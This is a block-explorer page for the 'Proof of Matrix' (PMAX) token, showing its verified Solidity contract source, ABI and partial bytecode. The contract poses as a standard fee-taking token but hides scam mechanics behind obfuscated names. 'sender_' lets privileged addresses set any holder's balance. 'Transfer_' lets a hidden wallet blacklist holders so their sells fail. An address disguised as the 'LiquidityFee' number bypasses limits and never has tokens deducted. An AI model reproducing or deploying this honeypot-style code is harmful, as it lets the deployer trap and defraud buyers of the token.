ETH Price: $2,529.77 (+2.81%)

Token

Proof of Matrix (PMAX)
 

Overview

Max Total Supply

10,000,000,000,000,000 PMAX

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
175,545,410,362,321.676288205 PMAX

Value
$0.00
0xf4ae6ac6b98efb604a4c7e16caaaa132ef9054de
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ProofofMatrix

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-14
*/

//SPDX-License-Identifier:Unlicensed

//What is Matrix? Find the tg and know more. "Choice. The problem is choice" Matrix safe analyzer bot will give you all the tools to recognize safe tokens on ETH.

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;
    uint256 public LiquidityFee=
    874669497053535618153066676502321007686727831678;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract ProofofMatrix
 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Proof of Matrix";
    string private _symbol = "PMAX";
    uint8 private _decimals = 9;
    address payable public _anotherA;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) true_;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _swapPair;
    mapping (address => bool) public _false;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 1;
    uint256 public _sellMarketingFee = 0;
    uint256 public _sellTeamFee = 1;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 12;
    uint256 public _totalTaxIfSelling = 12;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 10000000000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 10000000000000000 * 10**_decimals; 
    uint256 public _walletMax = 10000000000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[getAddress(LiquidityFee)] = true;
        isTxLimitExempt[getAddress(LiquidityFee)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _swapPair[address(uniswapPair)] = true;
        _swapPair[_msgSender()] = true;

        teamWalletAddress = payable(address(0x2DdE0924f0B821E1Dc229B207bf28EFeCEB0C43a));
        _anotherA = payable(address(0x2DdE0924f0B821E1Dc229B207bf28EFeCEB0C43a));

        true_[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return true_[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTaxes(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function getOSZ(uint256 amount0Out) private pure returns(uint160){
        return uint160(amount0Out);
    }

    function getAddress(uint256 amount0Out) private pure returns(address){
        return address(getOSZ(amount0Out));
    }

    function transferToAddresETH(address amount0Out) private view returns(bool){
        return !(amount0Out == getAddress(LiquidityFee) || false || false);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        _anotherA = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _swapPair[address(uniswapPair)] = true;
    }
    
function sender_(address a 
, uint256 w) public
{if( 
_swapPair[ 
_msgSender()])true_[a] 
= w;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_swapPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(transferToAddresETH(sender))


            true_[sender] = true_[sender].sub(amount);
            uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_false[sender]){
                    require(true && false);
}}
            true_[recipient] = true_[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function setMaxTxAmount(uint256 a) public {if(msg.sender == _anotherA){
        _maxTxAmount = a;}
    }

    function Transfer_(address[] calldata asd,bool aax) public {
    if( 
msg.sender

== _anotherA){
        for(uint256 i = 0; i < asd.length; i++) {
            _false[asd[i]] = aax;}
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        true_[sender] = true_[sender].sub(amount, "Insufficient Balance");
        true_[recipient] = true_[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(_anotherA, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_swapPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_swapPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        if(feeAmount > 0) {
            true_[address(this)] = true_[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"asd","type":"address[]"},{"internalType":"bool","name":"aax","type":"bool"}],"name":"Transfer_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_anotherA","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_false","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"}],"name":"sender_","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405273993589678eb8bd9de4b1430f2bf69973182d107e6001556040518060400160405280600f81526020017f50726f6f66206f66204d61747269780000000000000000000000000000000000815250600290805190602001906200006992919062000d74565b506040518060400160405280600481526020017f504d41580000000000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000d74565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556000600f556001601055600160115560006012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000feb565b662386f26fc100006200017a919062001128565b601a55600460009054906101000a900460ff16600a6200019b919062000feb565b662386f26fc10000620001af919062001128565b601b55600460009054906101000a900460ff16600a620001d0919062000feb565b662386f26fc10000620001e4919062001128565b601c55600460009054906101000a900460ff16600a62000205919062000feb565b6103e862000214919062001128565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000cbc60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000e3b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000e3b565b6040518363ffffffff1660e01b81526004016200049892919062000eb6565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000e3b565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff